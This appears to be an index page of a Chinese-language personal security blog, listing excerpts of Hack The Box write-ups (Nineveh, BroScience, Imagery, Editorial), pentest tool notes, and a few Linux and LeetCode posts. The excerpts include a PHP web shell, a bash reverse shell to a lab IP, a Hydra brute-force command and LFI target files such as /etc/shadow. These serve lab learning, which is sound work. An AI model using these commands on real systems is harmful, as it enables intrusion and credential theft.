常見服務
看到很酷的服務就會放上來。.
看到很酷的服務就會放上來。.
主要紀錄一些命令列工具的用法和參數。.
講述我花四個月考到 CWES 證照的心酸血淚(?
Fuzzer 我最常用的就是 ffuf 了,不過還有很多選擇。 MaccGenics Notes - Fuzzing tools (tooling): wenum gobuster feroxbuster … 心得 記得加上 Cookie! 不要懷疑,真的會忘記,如果沒有掃到東西,或是掃到一堆 302,務必務必務必先檢查有沒有加上 Cookie … 副檔名 PHP: -e .php,.txt,.bak,.old,.zip IIS: -e .aspx,.asp,.config Java: -e .jsp,.do,.a
打滲透必學的技能之一。你有幾個方法可以叫出 bash: python3 -c 'import pty; pty.spawn("/bin/bash")' script /dev/null -c bash 接著: svc@busqueda:/var/www/app$ python3 -c 'import pty; pty.spawn("/bin/bash")' svc@busqueda:/var/www/app$ ^Z [1]+ Stopped nc -lvnp 443 $ stty raw -echo &&a...
簡單整理一下 SecList 的辭典。
網路版本的芝麻開門?
SSH tunneling over SOCKS proxy $ nmap -sT -p22,3306 10.129.202.64 PORT STATE SERVICE 22/tcp open ssh 3306/tcp closed mysql MySQL 並沒有對外開放,若要使用必須透過 port forwarding,可以透過 SSH 將 MySQL 轉到 port 1234 上: abb00717@ABB00717:~ $ ssh -L 1234:localhost:3306 ubuntu@10.129.20
通常我都會配合 ffuf 和指定辭典使用: SecLists/Fuzzing/LFI/LFI-Jhaddix.txt:我會最優先使用的 PayloadsAllTheThings/Directory\ Traversal/Intruder/dotdotpwn.txt:測的東西比 Jhaddix 多很多,但很容易誤報。 若確認找到 File Inclusion,以下是一些不錯的選擇: /etc/passwd /etc/shadow/ /etc/hostname /etc/hosts /etc/crontab /proc
Nineveh 在 Nineveh 靶機中,我使用 Hydra 配合 xato-net-10-million-passwords-10000.txt 辭典成功爆破出 nineveh.htb/db 的 password123: $ hydra -l admin -P /usr/share/SecLists/Passwords/Common-Credentials/xato-net-10-million-passwords-10000.txt -s 443 -S nineveh.htb https-post-form
Nineveh 在 Nineveh 這台靶機中,我們利用 Hydra 爆破了 nineveh.htb/db 的登入頁面,在裡面我們可以任意修改資料庫: 資料庫被存在 /var/tmp/,恰好在另外一個網頁 nineveh.htb/department/ 找到了 File Inclusion, 通常會直接用簡單的 <?php system($_GET['cmd']); ?> 配合簡單的 Reverse Shell: bash -c 'sh -i >& /dev/tcp/10.10.17.56/6061 0>&1' 要
Nineveh 在 Nineveh 靶機中的 nineveh.htb/department 登入是這麼寫的: session_start(); if (isset($_SESSION['username'])) { header('Location: manage.php'); die(); } $USER = 'admin'; $PASS = '1q2w3e4r5t'; if (isset($_POST['username']) && isset($_POST['pa...
能夠在檔案裡面藏東西的酷技術。
基礎的 GraphQL challenge.
LFI2RCE via PHP Filters 的小故事以及攻擊講解。
在 forum.collect.htb 的論壇中我們找到一段代理紀錄,重放 token 就能把自己的 session 提權成 admin。進到 /admin 後發現註冊請求是用 XML 傳送的,發現並利用 OOB XXE 讀取檔案,獲得 developers.collect.htb 的 Basic Auth 密碼與 Redis 密碼,再直接改寫 Redis 上的 PHP session 繞過登入表單。登入後利用 LFI2RCE 取得 www-data 的 shell,透過 victor 名下的 php-fpm 執行
非常不負責任的 Redis 教學。
在 BroScience 網站中我們發現 img.php 存在路徑穿越,透過原始碼發現啟用碼可以暴力破解,啟用帳號後再利用反序列化漏洞取得 www-data 的 shell。接著從資料庫撈出密碼雜湊,破解 bill 的密碼並 SSH 登入。至於 root, 我們發現某個 root cron 執行腳本存在 Command Injection,生成惡意憑證以後即可取得 root shell。
說筆記有點不精確,但實在想不到更好的詞。我會在這裡分類打過的靶機,並附帶整理用過的技巧。或許等有空才會加上講解吧? 如果你是想學滲透,很抱歉我無法幫你。這裡是推薦的學習資源: HackTricks Hack the Box Academy 實作資源: Hack the Box .
現在改到 自架的 Mastodon 上面了,有興趣的可以上去看看。 2026-04-01 應該把這個部落格當成別人的部落格,每當「啊,真希望這個議題有人講」、「希望台灣也有人在聽這種音樂」之時,就是這裡多一篇筆記的時候了。 2026-03-31 sudo 編輯不要用 sudo vim。先在 .bashrc 裡設定預設的編輯器,之後都請用 sudoedit 代替。 2026-03-29 看完了馬世芳的《地下鄉愁藍調》,看完了〈擁舞的詩神與厲鬼〉馬上找了 Bob Dylan 《亞伯廳一九六六》來聽,迅速點開最後一首 “
在 Imagery 圖片上傳管理網站中,我們利用 Bug Reports 的 XSS 漏洞取得 admin 的 session。緊接著利用 Admin Panel 中 Download Log 的 LFI 漏洞取得 testuser 的帳密。最後利用 Crop Image 功能的 OS Command Injection 取得 web 的 shell。接著我們在系統中發現加密的備份檔案,暴力破解後取得 mark 帳號的密碼,登入後透過濫用自製備份工具的權限取得 root shell。
在 Reset 網站中我們發現重設密碼的 API 會直接回傳新密碼,登入後利用 Log Poisoning 取得 RCE。接著利用組態錯誤,在攻擊機上建立同名的 sadm 帳號,就能免密碼 rlogin 登入靶機的 sadm 帳號。最後我們在執行中的 tmux session 找到密碼,利用 sudo nano 取得 root shell。
透過 dig 我們取得靶機的第一個 vHost ,並在該 vHost 上的 Payroll Management System 發現 SQL Injection,藉由資料庫使用者的 FILE 權限以 load_file() 讀取 Nginx 設定檔,找出第二個 vHost。而該網站存在 LFI,讀出使用者 michael 的 id_rsa 後以 SSH 取得初始立足點。最後利用 michael 可免密碼 sudo 重啟 fail2ban、又能寫入其設定目錄的組合,將封鎖動作改為 chmod 4777 /bin/ba
在 Editorial 網站中發現了 SSRF 漏洞,用其掃描內網以後從內部的 API 取得一組憑證,並以 SSH 登入取得初始立足點。枚舉時發現一個 Git repo,從 commit history 中發現了另一組憑證。橫向移動後進一步枚舉,發現一支以 root 執行的 clone 腳本,把未經驗證的參數交給有 CVE-2022-24439 的 GitPython,且主動啟用了 git 的 ext transport,藉此以 root 身分執行任意指令完成提權。
正在挑戰的項目 在畢業以前拿到 HTB CPTS 已完成的挑戰 考到 [HTB CWES] 在大四以前把 HTB CWES 的 RELATED JOB-ROLE PATH 走完 每週持續寫週記總計持續 18 週 已於 2025/12 在 Advent of Code 挑戰中拿到 18 顆星星 已於 2025/11 達成 Leetcode 500 題 已於 2023/06 畢業於建功高中 已於 2023/06 剪輯完超級牛逼的畢業影片 已於 2021/08 爬進 osu! 全球前五萬 大佬 somehow 看到我的
顧名思義,儲存 Linux 相關的筆記。大部分都是紀錄遇到的奇怪問題,主要是覺得記錄下來,或許以後遇到類似的問題也可以照著解決。.
leetcode.com/problems/evaluate-reverse-polish-notation/description/ 其實題目蠻簡單的,大家應該都能寫出類似的邏輯: class Solution: def evalRPN(self, tokens: List[str]) -> int: operators = ['+', '-', '*', '/'] stack = [] for token in tokens: if token not in operators: stack.append...
解決 pipx 安裝 droopescan 時 No module named 'imp' 的問題。
解決桌面一直彈出來的問題,去你媽的 Wayland。
解決 medusa "Couldn't load ssh" 的問題。